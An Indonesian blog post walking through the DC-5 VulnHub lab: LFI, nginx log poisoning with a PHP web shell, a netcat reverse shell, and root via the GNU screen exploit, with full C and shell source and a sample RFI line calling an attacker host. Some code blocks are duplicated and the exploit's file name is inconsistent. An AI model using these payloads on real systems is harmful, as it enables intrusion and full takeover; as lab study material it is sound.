Sudah lama sekali tidak menuliskan sesuatu. Rencananya di postingan ini ceritanya akan membahas tentang mengeksploitasi soal di DC-5 yang dapat diunduh: https://www.vulnhub.com/entry/dc-5,314/
Kemudian saya membaca artikel dan mengikuti jejak raj chandel di "https://www.hackingarticles.in/dc-5-vulnhub-walkthrough/"
Sangat senang saya mengikuti semua postingan hackingarticles.in dari beberapa tahun lalu dan membuat saya belajar lagi walaupun sempat vakum beberapa tahun belakang ini di dunia tersebut. Yah ga ada salahnya newbie seperti saya belajar kembali.
Jadi saya menggunakan Operating System (OS) Kali Linux yang 2018 dan statusnya dibuat Bridged (AutoDetect), begitu juga dengan OS DC-5 (Target). Berikut ini contoh screenshot:
Kemudian ceritanya disini saya tidak mengetahui target berada di IP berapa dan alhasil saya menggunakan "netdiscover" guna mengetahui diseluruh segmentasi ada IP berapa saja yang UP. Sebenarnya bisa juga dengan melakukan scanning secara manual satu persatu segmen melalui "nmap" tapi akan panjang nanti. Berikut ini hasil scan melalui netdiscover:
Selanjutnya saya melakukan scanning dengan perintah "nmap -A 192.168.43.56" dengan hasil adalah terdapat port 80 dan 111 yang open. Disitu saya fokus ke port 80 dan mencari tahu melalui google apakah webservice "nginx 1.6.2" memiliki kerentanan dan hasilnya adalah ya ada donk. Berikut ini hasil screenshot:
Berikutnya adalah mengakses port 80 tersebut melalui web browser (tapi ada beberapa orang yang seneng melalui terminal, hehe maaf saya anak muda bukan orang tua ^_^ ). Disitu saya fokus ke menu contact.php. Biasanya di lapangan ketika sudah scanning infrastruktur menggunakan nmap, akan dilanjutkan scanning web aplikasi menggunakan tools seperti nikto, dirb dan lain-lain. Tapi disini saya langsung mengakses si contact.php (mirip buku tamu). Emang ngeliat langsung empuk dan saya mencoba memasukkan payload XSS dan hal iseng lainnya seperti mencoba membaca file "passwd" (karena OS nya Linux kata si Nmap) tapi ya ga ada gunanya dan berguna itu ketika masukin payload XSS. Berikut ini tampilan screenshot:
Dari gambar di atas, ketika saya sudah menginputkan semua isian di buku tamu maka munculah url "http://ip/thankyou.php?firstname=.....". Dari situlah saya mendapatkan halaman baru yaitu "thankyou.php" dan munculah naluri newbie serta script kiddies saya untuk melakukan scanning ngebrute halaman disitu dengan bantuan "dirb". Bingo saya dapat parameter baru yaitu "file" dan kemudian saya memverifikasi hasil dari scanner tersebut seperti gambar di bawah ini "http://ip/thankyou.php?file="
Tarik lagi mang masih panjang, setelah mengakses parameter "file" tersebut dengan nakal mencoba mengakses kerentanan LFI. Sudah tahu kan ya beda LFI dan RFI? Bisa baca disini:
Contohnya kek gini bang:
RFI
http://example.com/?file=http://attacker.example.com/evil.php
LFIhttp://example.com/?file=../../uploads/evil.php
Dari percobaan di atas, saya berhasil mengakses file "/etc/passwd" si OS linux itu dan karena web service secara default di linux tidak jalan setingkat root maka jangan harap bisa mengakses "/etc/shadow". Biasanya jika passwd bisa dibaca dan ada port 22 (ssh) atau sejenisnya, langkah menyerang lainnya adalah melakukan bruteforce tapi di lab ini berbeda bang.
Kemudian berhubung ceritanya saya ini newbie dan script kiddies maka saya googling tuh file log web service (nGinx) berada dilokasi mana. Kenapa? Kali aja saya dapat pola si root atau beberapa tamu pernah akses apa saja ke server. Tetapi alhasil karena sebelumnya saya iseng scan sana sini dan masukin payload xss (jadi muncul popup di klien/jalan euy stored xss), log nya jadi banyak dan berikut ini screenshot:
Beberapa orang yang kaya saya pasti bertanya-tanya mengapa file itu yang diincer? Jadi gini loh, semua file log dan temporary itu biasanya bisa di read and write oleh akses rendah (web service). Jadi kita mulai dengan menginjeksi file log itu dengan "cmd" sederhana dan akan running www-data. Sebelum menuliskan kode jahat itu, bisa aktifkan perangkat untuk melakukan intercept dan disini saya pakai burpsuite dan tidak perlu dijelaskan tutorial gimana cara setting proxy dkk. Ini screenshot:
Dengan menuliskan command di bawah ini maka "<?php system($_GET['cmd']) ?>" dan cari pada file log tersebut apakah sukses atau tidak dengan keyword "uid=bla bla bla". Ketika sukses ke write, maka akses melalui browser dengan mengetikan "nc -e /bin/bash IPListenKita PortKita". Berikut ini screenshot:
Ketika netcat (nc) telah berhasil, maka tidak ada salahnya mengakses dir atau ls dan untuk mendapatkan command prompt tolong panggil python -c 'import pty;pty.spawn("/bin/bash")'
Nah dari situ ketika ingin melakukan privilege escalation, tidak ada salahnya kita googling dan nanti mendapatkan beberapa PoC seperti tautan di bawah ini:
Lanjut ikuti instruksi privilege escalation yang ada di exploit-db dengan membuat beberapa script serta compile di Kali Linux.
Buat File "libhax.c"
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
Compile dengan perintah:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
Buat File "rootshell.c"
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
Compile dengan perintah:
gcc -o rootshell rootshell.c
Kemudian buatkan file exploit 41115.sh (bebas namanya):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc/
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
cd /etc/
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Ketika semua file sudah dibuat dan di compile, maka aktifkan web service di Kali Linux. Hal ini dilakukan agar Target mengunduh 3 file yang sudah kita compile di IP Kali Linux. Berikut ini screenshot:
Jadi semua file yang sudah di compile dan diunduh ke folder "/tmp" karena folder inilah yang bisa kita Read and Write. Sangat tidak mungkin jika kita wget di folder "/var/www/html" karena hanya bisa read saja. Ketika file semua berhasil di "wget" maka kita "chmod 777 atau chmod +x" file "41154.sh" dan kita eksekusi seperti gambar di bawah ini:
Akhirnya selesai dan sulit ini menjelaskan dengan kata-kata karena kebiasaan main sama rumput yang bergoyang. Model soal seperti ini banyak dijumpai di dunia nyata kok dan memang ga boleh putus asa karena harus mencari pintu yang terbuka darimanapun.
Sekian dari saya sang newbie dan script kiddies ^_^
0 komentar:
Posting Komentar